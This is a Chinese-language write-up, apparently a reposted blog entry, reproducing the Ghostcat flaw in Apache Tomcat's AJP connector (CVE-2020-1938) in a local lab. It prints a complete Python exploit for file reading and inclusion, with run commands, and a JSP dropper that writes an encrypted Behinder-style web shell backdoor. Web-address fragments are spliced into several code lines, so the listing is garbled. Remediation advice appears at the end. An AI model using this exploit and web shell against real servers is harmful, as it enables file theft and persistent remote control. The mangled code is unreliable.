一、影響范圍
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
二、前提條件
對于處在漏洞影響版本范圍內的 Tomcat 而言,若其開啟 AJP Connector 且攻擊者能夠訪問 AJP Connector 服務埠的情況下,即存在被 Ghostcat 漏洞利用的風險,注意 Tomcat AJP Connector 默認配置下即為開啟狀態,且監聽在 0.0.0.0:8009
三、漏洞原理
Tomcat 配置了兩個Connecto,它們分別是 HTTP 和 AJP :HTTP默認埠為8080,處理http請求,而AJP默認埠8009,用于處理 AJP 協議的請求,而AJP比http更加優化,多用于反向、集群等,漏洞由于Tomcat AJP協議存在缺陷而導致,攻擊者利用該漏洞可通過構造特定引數,讀取服務器webapp下的任意檔案以及可以包含任意檔案,如果有某上傳點,上傳圖片馬等等,即可以獲取shell
四、環境配置
1、windows下準備復現環境,安裝Apache Tomcat
(https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip)
2、安裝java1.8的jdk
3、壓縮包安裝的Tomcat是需要配置一下jre的環境變數的
JRE_HOME+你自己的jre路徑

4、啟動Tomcat,在bin目錄下的startup.bat

5、瀏覽器訪問Apache默認埠8080埠

五、漏洞利用
(1)、任意檔案讀取(這里可以讀取webapps目錄下的任何檔案)
kali下載CNVD-2020-10487-Tomcat-Ajp-lfi.py
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

進入目錄,修改檔案權限

運行CNDV-2020-10487-Tomcat-Ajp-lfi.py
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.3.72 -p 8009 -f WEB-INF/web.xml

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.3.72 -p 8009 -f index.jsp

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.3.72 -p 8009 -f test.txt

(2)、任意檔案包含:(這個有點雞肋,需要上傳要包含的檔案內容)
因為是在本地復現的環境,沒有配置上傳檔案的地方,實際環境時可以利用檔案上傳漏洞,上傳txt檔案結合利用,這里就直接把檔案傳到根目錄里面了
1、先上傳需要包含的jsp檔案代碼,這里用的是冰蝎小馬(test.txt)
1 <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0"> 2 <jsp:directive.page contentType="text/html" pageEncoding="utf-8"/> 3 <jsp:directive.page import="java.io.*"/> 4 <jsp:directive.page import="sun.misc.BASE64Decoder"/> 5 <html><head><title>fuck</title></head> 6 <body bgcolor="#ffffff"> 7 //mima:pass 8 <jsp:scriptlet><![CDATA[ 9 String realPath = request.getRealPath(request.getRequestURI()); 10 String dir=new File(realPath).getParent(); 11 String strPath = dir+"/t00ls.jspx"; 12 File strFile = new File(strPath); 13 boolean fileCreated = strFile.createNewFile(); 14 Writer jspx = new BufferedWriter(new FileWriter(strFile)); 15 String tmp ="PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5pZihyZXF1ZXN0LmdldFBhcmFtZXRlcigicGFzcyIpIT1udWxsKXtTdHJpbmcgaz0oIiIlMmJVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpJTJiIiIpLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTs8L2pzcDpzY3JpcHRsZXQ+PC9qc3A6cm9vdD4="; 16 String str = new String((new BASE64Decoder()).decodeBuffer(tmp)); 17 String eStr = java.net.URLDecoder.decode(str); 18 jspx.write(eStr); 19 jspx.flush(); 20 jspx.close(); 21 out.println(strPath); 22 ]]></jsp:scriptlet> 23 </body> 24 </html> 25 </jsp:root>
2、測驗可以直接訪問test.txt
3、對poc稍作修改,將包含"/asdf"修改為"/asdf.jspx"
修改后的檔案:
1 #!/usr/bin/env python 2 # CNVD-2020-10487 Tomcat-Ajp lfi 3 # by ydhcui 4 import struct 5 6 7 # Some references: 8 # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html 9 def pack_string(s): 10 if s is None: 11 return struct.pack(">h", -1) 12 l = len(s) 13 return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) 14 15 16 def unpack(stream, fmt): 17 size = struct.calcsize(fmt) 18 buf = stream.read(size) 19 return struct.unpack(fmt, buf) 20 21 22 def unpack_string(stream): 23 size, = unpack(stream, ">h") 24 if size == -1: # null string 25 return None 26 res, = unpack(stream, "%ds" % size) 27 stream.read(1) # \0 28 return res 29 30 31 class NotFoundException(Exception): 32 pass 33 34 35 class AjpBodyRequest(object): 36 # server == web server, container == servlet 37 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 38 MAX_REQUEST_LENGTH = 8186 39 40 def __init__(self, data_stream, data_len, data_direction=None): 41 self.data_stream = data_stream 42 self.data_len = data_len 43 self.data_direction = data_direction 44 45 def serialize(self): 46 data =https://www.cnblogs.com/Hack-Devil/p/ self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) 47 if len(data) == 0: 48 return struct.pack(">bbH", 0x12, 0x34, 0x00) 49 else: 50 res = struct.pack(">H", len(data)) 51 res += data 52 if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: 53 header = struct.pack(">bbH", 0x12, 0x34, len(res)) 54 else: 55 header = struct.pack(">bbH", 0x41, 0x42, len(res)) 56 return header + res 57 58 def send_and_receive(self, socket, stream): 59 while True: 60 data =https://www.cnblogs.com/Hack-Devil/p/ self.serialize() 61 socket.send(data) 62 r = AjpResponse.receive(stream) 63 while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: 64 r = AjpResponse.receive(stream) 65 66 if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: 67 break 68 69 70 class AjpForwardRequest(object): 71 _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range( 72 28) 73 REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 74 'TRACE': TRACE} 75 # server == web server, container == servlet 76 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 77 COMMON_HEADERS = ["SC_REQ_ACCEPT", 78 "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", 79 "SC_REQ_AUTHORIZATION", 80 "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", 81 "SC_REQ_COOKIE2", 82 "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" 83 ] 84 ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", 85 "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] 86 87 def __init__(self, data_direction=None): 88 self.prefix_code = 0x02 89 self.method = None 90 self.protocol = None 91 self.req_uri = None 92 self.remote_addr = None 93 self.remote_host = None 94 self.server_name = None 95 self.server_port = None 96 self.is_ssl = None 97 self.num_headers = None 98 self.request_headers = None 99 self.attributes = None 100 self.data_direction = data_direction 101 102 def pack_headers(self): 103 self.num_headers = len(self.request_headers) 104 res = "" 105 res = struct.pack(">h", self.num_headers) 106 for h_name in self.request_headers: 107 if h_name.startswith("SC_REQ"): 108 code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 109 res += struct.pack("BB", 0xA0, code) 110 else: 111 res += pack_string(h_name) 112 113 res += pack_string(self.request_headers[h_name]) 114 return res 115 116 def pack_attributes(self): 117 res = b"" 118 for attr in self.attributes: 119 a_name = attr['name'] 120 code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 121 res += struct.pack("b", code) 122 if a_name == "req_attribute": 123 aa_name, a_value = https://www.cnblogs.com/Hack-Devil/p/attr['value'] 124 res += pack_string(aa_name) 125 res += pack_string(a_value) 126 else: 127 res += pack_string(attr['value']) 128 res += struct.pack("B", 0xFF) 129 return res 130 131 def serialize(self): 132 res = "" 133 res = struct.pack("bb", self.prefix_code, self.method) 134 res += pack_string(self.protocol) 135 res += pack_string(self.req_uri) 136 res += pack_string(self.remote_addr) 137 res += pack_string(self.remote_host) 138 res += pack_string(self.server_name) 139 res += struct.pack(">h", self.server_port) 140 res += struct.pack("?", self.is_ssl) 141 res += self.pack_headers() 142 res += self.pack_attributes() 143 if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: 144 header = struct.pack(">bbh", 0x12, 0x34, len(res)) 145 else: 146 header = struct.pack(">bbh", 0x41, 0x42, len(res)) 147 return header + res 148 149 def parse(self, raw_packet): 150 stream = StringIO(raw_packet) 151 self.magic1, self.magic2, data_len = unpack(stream, "bbH") 152 self.prefix_code, self.method = unpack(stream, "bb") 153 self.protocol = unpack_string(stream) 154 self.req_uri = unpack_string(stream) 155 self.remote_addr = unpack_string(stream) 156 self.remote_host = unpack_string(stream) 157 self.server_name = unpack_string(stream) 158 self.server_port = unpack(stream, ">h") 159 self.is_ssl = unpack(stream, "?") 160 self.num_headers, = unpack(stream, ">H") 161 self.request_headers = {} 162 for i in range(self.num_headers): 163 code, = unpack(stream, ">H") 164 if code > 0xA000: 165 h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] 166 else: 167 h_name = unpack(stream, "%ds" % code) 168 stream.read(1) # \0 169 h_value =https://www.cnblogs.com/Hack-Devil/p/ unpack_string(stream) 170 self.request_headers[h_name] = h_value 171 172 def send_and_receive(self, socket, stream, save_cookies=False): 173 res = [] 174 i = socket.sendall(self.serialize()) 175 if self.method == AjpForwardRequest.POST: 176 return res 177 178 r = AjpResponse.receive(stream) 179 assert r.prefix_code == AjpResponse.SEND_HEADERS 180 res.append(r) 181 if save_cookies and 'Set-Cookie' in r.response_headers: 182 self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] 183 184 # read body chunks and end response packets 185 while True: 186 r = AjpResponse.receive(stream) 187 res.append(r) 188 if r.prefix_code == AjpResponse.END_RESPONSE: 189 break 190 elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: 191 continue 192 else: 193 raise NotImplementedError 194 break 195 196 return res 197 198 199 class AjpResponse(object): 200 _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) 201 COMMON_SEND_HEADERS = [ 202 "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", 203 "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" 204 ] 205 206 def parse(self, stream): 207 # read headers 208 self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") 209 210 if self.prefix_code == AjpResponse.SEND_HEADERS: 211 self.parse_send_headers(stream) 212 elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: 213 self.parse_send_body_chunk(stream) 214 elif self.prefix_code == AjpResponse.END_RESPONSE: 215 self.parse_end_response(stream) 216 elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: 217 self.parse_get_body_chunk(stream) 218 else: 219 raise NotImplementedError 220 221 def parse_send_headers(self, stream): 222 self.http_status_code, = unpack(stream, ">H") 223 self.http_status_msg = unpack_string(stream) 224 self.num_headers, = unpack(stream, ">H") 225 self.response_headers = {} 226 for i in range(self.num_headers): 227 code, = unpack(stream, ">H") 228 if code <= 0xA000: # custom header 229 h_name, = unpack(stream, "%ds" % code) 230 stream.read(1) # \0 231 h_value =https://www.cnblogs.com/Hack-Devil/p/ unpack_string(stream) 232 else: 233 h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001] 234 h_value =https://www.cnblogs.com/Hack-Devil/p/ unpack_string(stream) 235 self.response_headers[h_name] = h_value 236 237 def parse_send_body_chunk(self, stream): 238 self.data_length, = unpack(stream, ">H") 239 self.data = https://www.cnblogs.com/Hack-Devil/p/stream.read(self.data_length + 1) 240 241 def parse_end_response(self, stream): 242 self.reuse, = unpack(stream, "b") 243 244 def parse_get_body_chunk(self, stream): 245 rlen, = unpack(stream, ">H") 246 return rlen 247 248 @staticmethod 249 def receive(stream): 250 r = AjpResponse() 251 r.parse(stream) 252 return r 253 254 255 import socket 256 257 258 def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): 259 fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) 260 fr.method = method 261 fr.protocol = "HTTP/1.1" 262 fr.req_uri = req_uri 263 fr.remote_addr = target_host 264 fr.remote_host = None 265 fr.server_name = target_host 266 fr.server_port = 80 267 fr.request_headers = { 268 'SC_REQ_ACCEPT': 'text/html', 269 'SC_REQ_CONNECTION': 'keep-alive', 270 'SC_REQ_CONTENT_LENGTH': '0', 271 'SC_REQ_HOST': target_host, 272 'SC_REQ_USER_AGENT': 'Mozilla', 273 'Accept-Encoding': 'gzip, deflate, sdch', 274 'Accept-Language': 'en-US,en;q=0.5', 275 'Upgrade-Insecure-Requests': '1', 276 'Cache-Control': 'max-age=0' 277 } 278 fr.is_ssl = False 279 fr.attributes = [] 280 return fr 281 282 283 class Tomcat(object): 284 def __init__(self, target_host, target_port): 285 self.target_host = target_host 286 self.target_port = target_port 287 288 self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 289 self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 290 self.socket.connect((target_host, target_port)) 291 self.stream = self.socket.makefile("rb", bufsize=0) 292 293 def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): 294 self.req_uri = req_uri 295 self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, 296 method=AjpForwardRequest.REQUEST_METHODS.get(method)) 297 print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) 298 if user is not None and password is not None: 299 self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ( 300 "%s:%s" % (user, password)).encode('base64').replace('\n', '') 301 for h in headers: 302 self.forward_request.request_headers[h] = headers[h] 303 for a in attributes: 304 self.forward_request.attributes.append(a) 305 responses = self.forward_request.send_and_receive(self.socket, self.stream) 306 if len(responses) == 0: 307 return None, None 308 snd_hdrs_res = responses[0] 309 data_res = responses[1:-1] 310 if len(data_res) == 0: 311 print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) 312 return snd_hdrs_res, data_res 313 314 315 ''' 316 javax.servlet.include.request_uri 317 javax.servlet.include.path_info 318 javax.servlet.include.servlet_path 319 ''' 320 321 import argparse 322 323 parser = argparse.ArgumentParser() 324 parser.add_argument("target", type=str, help="Hostname or IP to attack") 325 parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") 326 parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") 327 args = parser.parse_args() 328 t = Tomcat(args.target, args.port) 329 _, data = https://www.cnblogs.com/Hack-Devil/p/t.perform_request('/asdf.jspx', attributes=[ 330 {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']}, 331 {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]}, 332 {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']}, 333 ]) 334 print('----------------------------') 335 print("".join([d.data for d in data]))CNVD-2020-10487-Tomcat-Ajp-lfi.py
4、運行:python CNVD-2020-10487-Tomcat-Ajp-lfi.py.py 192.168.3.72 -p 8009 -f test.txt
最終在webapps\ROOT下生成一個t00ls.jspx后門


六、修復建議
Tomcat 官方已發布 9.0.31、8.5.51 及 7.0.100 版本針對此漏洞進行修復,
1、臨時禁用AJP協議埠,在conf/server.xml組態檔中注釋掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />
2、配置ajp配置中的secretRequired跟secret屬性來限制認證
3、官網更新最新版
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/135438.html
標籤:其他
上一篇:內網滲透--資訊收集(三)
